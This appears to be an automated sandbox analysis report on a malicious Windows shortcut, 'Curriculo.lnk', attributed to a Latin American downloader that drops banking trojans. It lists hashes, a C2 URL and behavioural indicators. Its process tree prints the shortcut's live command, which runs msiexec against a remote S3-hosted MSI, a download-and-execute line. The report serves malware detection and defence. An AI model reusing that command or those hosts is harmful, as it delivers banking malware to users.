Analysis
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max time kernel
123s -
max time network
123s -
platform
windows7_x64 -
resource
win7-en-20211104 -
submitted
16/11/2021, 19:17
Static task
static1
Behavioral task
behavioral1
Sample
Curriculo.lnk
Resource
win7-en-20211104
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Curriculo.lnk
Resource
win10-en-20211104
windows10_x64
0 signatures
0 seconds
General
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Target
Curriculo.lnk
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Size
1KB
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MD5
58fe09ef368f345697e2815274739431
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SHA1
8b16a02c2afb084e89b12e1a224382165a294bc7
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SHA256
215404787c1d072eca5cd4423fae4e01d08527657971abf480b753e78ddecbde
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SHA512
edfbb3716b1e7e2bbab6415de74f06e0a28c1f68d3d7dfbf7ee154161295c00c8314359168c5f6eb851a93d1e1c1311fb77217bd83f97b224206fd01e048019d
Score
10/10
Malware Config
Extracted
Family
latam_generic_downloader
C2
http://ec2-52-53-236-128.us-west-1.compute.amazonaws.com/softcom.base
Signatures
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Generic LATAM Downloader
Generic Latin American MSI downloader used to drop various banking trojans.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1732 msiexec.exe 9 1436 MsiExec.exe -
Loads dropped DLL 2 IoCs
pid Process 1436 MsiExec.exe 1436 MsiExec.exe -
Use of msiexec (install) with remote resource 1 IoCs
pid Process 1732 msiexec.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\F: msiexec.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIE5EC.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIECCF.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIEED3.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies data under HKEY_USERS 1 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad msiexec.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 9 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1732 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 40 IoCs
description pid Process Token: SeShutdownPrivilege 1732 msiexec.exe Token: SeIncreaseQuotaPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 1732 msiexec.exe Token: SeTakeOwnershipPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 1032 msiexec.exe Token: SeTakeOwnershipPrivilege 1032 msiexec.exe Token: SeSecurityPrivilege 1032 msiexec.exe Token: SeCreateTokenPrivilege 1732 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1732 msiexec.exe Token: SeLockMemoryPrivilege 1732 msiexec.exe Token: SeIncreaseQuotaPrivilege 1732 msiexec.exe Token: SeMachineAccountPrivilege 1732 msiexec.exe Token: SeTcbPrivilege 1732 msiexec.exe Token: SeSecurityPrivilege 1732 msiexec.exe Token: SeTakeOwnershipPrivilege 1732 msiexec.exe Token: SeLoadDriverPrivilege 1732 msiexec.exe Token: SeSystemProfilePrivilege 1732 msiexec.exe Token: SeSystemtimePrivilege 1732 msiexec.exe Token: SeProfSingleProcessPrivilege 1732 msiexec.exe Token: SeIncBasePriorityPrivilege 1732 msiexec.exe Token: SeCreatePagefilePrivilege 1732 msiexec.exe Token: SeCreatePermanentPrivilege 1732 msiexec.exe Token: SeBackupPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 1732 msiexec.exe Token: SeShutdownPrivilege 1732 msiexec.exe Token: SeDebugPrivilege 1732 msiexec.exe Token: SeAuditPrivilege 1732 msiexec.exe Token: SeSystemEnvironmentPrivilege 1732 msiexec.exe Token: SeChangeNotifyPrivilege 1732 msiexec.exe Token: SeRemoteShutdownPrivilege 1732 msiexec.exe Token: SeUndockPrivilege 1732 msiexec.exe Token: SeSyncAgentPrivilege 1732 msiexec.exe Token: SeEnableDelegationPrivilege 1732 msiexec.exe Token: SeManageVolumePrivilege 1732 msiexec.exe Token: SeImpersonatePrivilege 1732 msiexec.exe Token: SeCreateGlobalPrivilege 1732 msiexec.exe Token: SeRestorePrivilege 1032 msiexec.exe Token: SeTakeOwnershipPrivilege 1032 msiexec.exe Token: SeRestorePrivilege 1032 msiexec.exe Token: SeTakeOwnershipPrivilege 1032 msiexec.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1732 msiexec.exe 1732 msiexec.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 592 wrote to memory of 1732 592 cmd.exe 29 PID 592 wrote to memory of 1732 592 cmd.exe 29 PID 592 wrote to memory of 1732 592 cmd.exe 29 PID 592 wrote to memory of 1732 592 cmd.exe 29 PID 592 wrote to memory of 1732 592 cmd.exe 29 PID 1032 wrote to memory of 1436 1032 msiexec.exe 31 PID 1032 wrote to memory of 1436 1032 msiexec.exe 31 PID 1032 wrote to memory of 1436 1032 msiexec.exe 31 PID 1032 wrote to memory of 1436 1032 msiexec.exe 31 PID 1032 wrote to memory of 1436 1032 msiexec.exe 31 PID 1032 wrote to memory of 1436 1032 msiexec.exe 31 PID 1032 wrote to memory of 1436 1032 msiexec.exe 31
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Curriculo.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:592 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "https://kr0.s3.eu-central-1.amazonaws.com/lnstaIIg.msi"2⤵
- Blocklisted process makes network request
- Use of msiexec (install) with remote resource
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1732
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 335717A7A085D06EAA51E9810F8E27492⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:1436
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